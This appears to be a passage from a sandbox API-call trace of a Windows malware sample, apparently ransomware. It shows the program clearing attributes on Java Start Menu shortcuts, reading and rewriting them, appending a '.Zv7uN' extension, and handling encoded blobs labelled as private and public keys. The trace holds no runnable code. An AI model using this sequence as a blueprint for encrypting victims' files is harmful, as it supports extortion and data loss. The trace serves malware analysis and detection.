[0133.345] CloseHandle (hObject=0x1e8) returned 1 [0133.345] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk.zv7un")) returned 1 [0133.347] GetCurrentThreadId () returned 0xa30 [0133.347] GetCurrentThreadId () returned 0xa30 [0133.347] GetCurrentThreadId () returned 0xa30 [0133.347] GetCurrentThreadId () returned 0xa30 [0133.347] GetCurrentThreadId () returned 0xa30 [0133.347] GetCurrentThreadId () returned 0xa30 [0133.347] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762a4380, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762a4380, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Configure Java.lnk", cAlternateFileName="CONFIG~1.LNK")) returned 1 [0133.347] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.347] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.347] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x762a4380, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762a4380, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7)) returned 1 [0133.350] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk")) returned 0x20 [0133.350] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk", dwFileAttributes=0x80) returned 1 [0133.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.354] GetCurrentThreadId () returned 0xa30 [0133.354] GetCurrentThreadId () returned 0xa30 [0133.354] GetCurrentThreadId () returned 0xa30 [0133.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.355] GetCurrentThreadId () returned 0xa30 [0133.356] GetCurrentThreadId () returned 0xa30 [0133.356] GetCurrentThreadId () returned 0xa30 [0133.356] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.356] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.356] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.356] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x7b7 [0133.357] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.357] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x7b7, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x7b7, lpOverlapped=0x0) returned 1 [0133.397] CloseHandle (hObject=0x1e8) returned 1 [0133.397] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.399] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x7b7, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x7b7, lpOverlapped=0x0) returned 1 [0133.412] CloseHandle (hObject=0x1e8) returned 1 [0133.413] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk.zv7un")) returned 1 [0133.414] GetCurrentThreadId () returned 0xa30 [0133.414] GetCurrentThreadId () returned 0xa30 [0133.414] GetCurrentThreadId () returned 0xa30 [0133.414] GetCurrentThreadId () returned 0xa30 [0133.414] GetCurrentThreadId () returned 0xa30 [0133.414] GetCurrentThreadId () returned 0xa30 [0133.414] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7591eb80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7591eb80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b6, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Get Help.lnk", cAlternateFileName="GETHEL~1.LNK")) returned 1 [0133.414] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.414] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.414] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7591eb80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7591eb80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7591eb80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b6)) returned 1 [0133.415] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.lnk")) returned 0x20 [0133.415] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk", dwFileAttributes=0x80) returned 1 [0133.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuw